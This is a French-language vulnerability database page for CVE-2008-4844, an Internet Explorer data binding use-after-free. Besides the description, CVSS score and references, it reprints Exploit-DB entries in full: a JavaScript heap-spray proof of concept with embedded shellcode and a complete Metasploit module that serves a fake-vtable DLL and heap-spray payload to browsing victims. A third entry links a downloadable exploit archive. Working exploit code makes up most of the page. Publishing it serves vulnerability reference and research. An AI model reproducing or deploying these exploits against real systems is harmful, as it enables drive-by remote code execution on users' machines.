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Descriptions du CVE
Use-after-free vulnerability in the CRecordInstance::TransferToDestination function in mshtml.dll in Microsoft Internet Explorer 5.01, 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via DSO bindings involving (1) an XML Island, (2) XML DSOs, or (3) Tabular Data Control (TDC) in a crafted HTML or XML document, as demonstrated by nested SPAN or MARQUEE elements, and exploited in the wild in December 2008.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 7410
Date de publication : 2008-12-09 23h00 +00:00
Auteur : muts
EDB Vérifié : Yes
<html>
<script>
// k`sOSe 12/10/2008
// Tested on Vista SP1, Explorer 7.0.6001.18000 and Vista SP0, Explorer 7.0.6000.16386
// Heap spray address adjusted for Vista - muts / offensive-security.com
// http://secmaniac.blogspot.com/2008/12/ms-internet-explorer-xml-parsing-remote.html
// http://www.offensive-security.com/0day/iesploit-vista.rar
// windows/exec - 141 bytes
// http://www.metasploit.com
// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");
var block = unescape("%u0c0c%u0c0c");
var nops = unescape("%u9090%u9090%u9090");
while (block.length < 81920) block += block;
var memory = new Array();
var i=0;
for (;i<1000;i++) memory[i] += (block + nops + shellcode);
document.write("<iframe src=\"iframe.html\">");
</script>
</html>
<!-- iframe.html
<XML ID=I>
<X>
<C>
<![CDATA[
<image
SRC=http://ఌఌ.xxxxx.org
>
]]>
</C>
</X>
</XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<XML ID=I>
</XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</SPAN>
</SPAN>
-->
# milw0rm.com [2008-12-10]
Exploit Database EDB-ID : 16583
Date de publication : 2010-09-19 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: ms08_078_xml_corruption.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
#
# Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
#
#include Msf::Exploit::Remote::BrowserAutopwn
#autopwn_info({
# :ua_name => HttpClients::IE,
# :ua_minver => "7.0",
# :ua_maxver => "7.0",
# :javascript => true,
# :os_name => OperatingSystems::WINDOWS,
# :vuln_test => nil, # no way to test without just trying it
#})
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer Data Binding Memory Corruption',
'Description' => %q{
This module exploits a vulnerability in the data binding feature of Internet
Explorer. In order to execute code reliably, this module uses the .NET DLL
memory technique pioneered by Alexander Sotirov and Mark Dowd. This method is
used to create a fake vtable at a known location with all methods pointing
to our payload. Since the .text segment of the .NET DLL is non-writable, a
prefixed code stub is used to copy the payload into a new memory segment and
continue execution from there.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hdm'
],
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2008-4844'],
['OSVDB', '50622'],
['BID', '32721'],
['MSB', 'MS08-078'],
['URL', 'http://www.microsoft.com/technet/security/advisory/961051.mspx'],
['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
# Temporary stub virtualalloc() + memcpy() payload to RWX page
'PrependEncoder' =>
"\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+
"\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+
"\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+
"\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+
"\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+
"\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+
"\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+
"\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+
"\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+
"\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { }],
],
'DisclosureDate' => 'Dec 07 2008',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
@state ||= {}
ibase = 0x13370000
vaddr = ibase + 0x2065
uri,token = request.uri.split('?', 2)
if(token)
token,trash = token.split('=')
end
if !(token and @state[token])
print_status("Sending #{self.name} init HTML to #{cli.peerhost}:#{cli.peerport}...")
token = rand_text_numeric(32)
if ("/" == get_resource[-1,1])
dll_uri = get_resource[0, get_resource.length - 1]
else
dll_uri = get_resource
end
dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"
html = %Q|<html>
<head>
<script language="javascript">
function forward() {
window.location = window.location + '?#{token}';
}
function start() {
setTimeout("forward()", 2000);
}
</script>
</head>
<body onload="start()">
<object classid="#{dll_uri}?#{token}#GenericControl">
<object>
</body>
</html>
|
@state[token] = :start
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })
return
end
if (uri.match(/\.dll/i))
print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
return if ((p = regenerate_payload(cli)) == nil)
# First entry points to the table of pointers
vtable = [ vaddr + 4 ].pack("V")
cbase = ibase + 0x2065 + (256 * 4)
# Build a function table
255.times { vtable << [cbase].pack("V") }
# Append the shellcode
vtable << p.encoded
send_response(
cli,
Msf::Util::EXE.to_dotnetmem(ibase, vtable),
{
'Content-Type' => 'application/x-msdownload',
'Connection' => 'close',
'Pragma' => 'no-cache'
}
)
@state[token] = :dll
return
end
print_status("Sending exploit HTML to #{cli.peerhost}:#{cli.peerport} token=#{@state[token]}...")
html = ""
#
# .NET DLL MODE
#
if(@state[token] == :dll)
addr_a,addr_b = [vaddr].pack("V").unpack("v*").map{|v| "&##{v};" }
data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0]
bxml = Rex::Text.to_hex(%Q|
<XML ID=I>
<X>
<C>
<![CDATA[
<image
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
>
]]>
</C>
</X>
</XML>
#{data}
<script>
setTimeout('window.location.reload(true);', 250);
</script>
|, '%')
var_unescape = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
html = %Q|<html>
<head>
<script>
function #{var_start}() {
var #{var_unescape} = unescape;
document.write(#{var_unescape}('#{bxml}'));
}
</script>
</head>
<body onload="#{var_start}()">
</body>
</html>
|
#
# HEAP SPRAY MODE
#
else
print_status("Heap spray mode")
addr_a,addr_b = [0x0c0c0c0c].pack("V").unpack("v*").map{|v| "&##{v};" }
data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0]
bxml = Rex::Text.to_hex(%Q|
<XML ID=I>
<X>
<C>
<![CDATA[
<image
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
>
]]>
</C>
</X>
</XML>
#{data}
<script>
setTimeout('window.location.reload(true);', 1000);
</script>
|, '%')
var_memory = rand_text_alpha(rand(100) + 1)
var_boom = rand_text_alpha(rand(100) + 1)
var_body = rand_text_alpha(rand(100) + 1)
var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)
var_spray = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
rand_html = rand_text_english(rand(400) + 500)
html = %Q|<html>
<head>
<script>
var #{var_memory} = new Array();
var #{var_unescape} = unescape;
function #{var_boom}() {
document.getElementById('#{var_body}').innerHTML = #{var_unescape}('#{bxml}');
}
function #{var_start}() {
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 );
for(#{var_i} = 0; #{var_i} < 100; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
setTimeout('#{var_boom}()', 1000);
}
</script>
</head>
<body onload="#{var_start}()" id="#{var_body}">
#{rand_html}
</body>
</html>
|
end
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
# Handle the payload
handler(cli)
end
end
Exploit Database EDB-ID : 7403
Date de publication : 2008-12-09 23h00 +00:00
Auteur : Guido Landi
EDB Vérifié : Yes
// k`sOSe 12/10/2008 - tested on winxp sp3, explorer 7.0.5730.13
// windows/exec - 141 bytes
// http://www.metasploit.com
// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7403.zip (2008-iesploit.tar.gz)
# milw0rm.com [2008-12-10]
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 5.01
- Microsoft>>Internet_explorer >> Version 5.01 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.01 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.01 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.01 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.01 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 6
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 6
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 7
- Microsoft>>Internet_explorer >> Version 7 (Open CPE detail)
Références
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6007
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
http://www.breakingpointsystems.com/community/blog/patch-tuesdays-and-drive-by-sundays
Tags : x_refsource_MISC
Tags : x_refsource_MISC
http://www.avertlabs.com/research/blog/index.php/2008/12/09/yet-another-unpatched-drive-by-exploit-found-on-the-web/
Tags : x_refsource_MISC
Tags : x_refsource_MISC
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-078
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
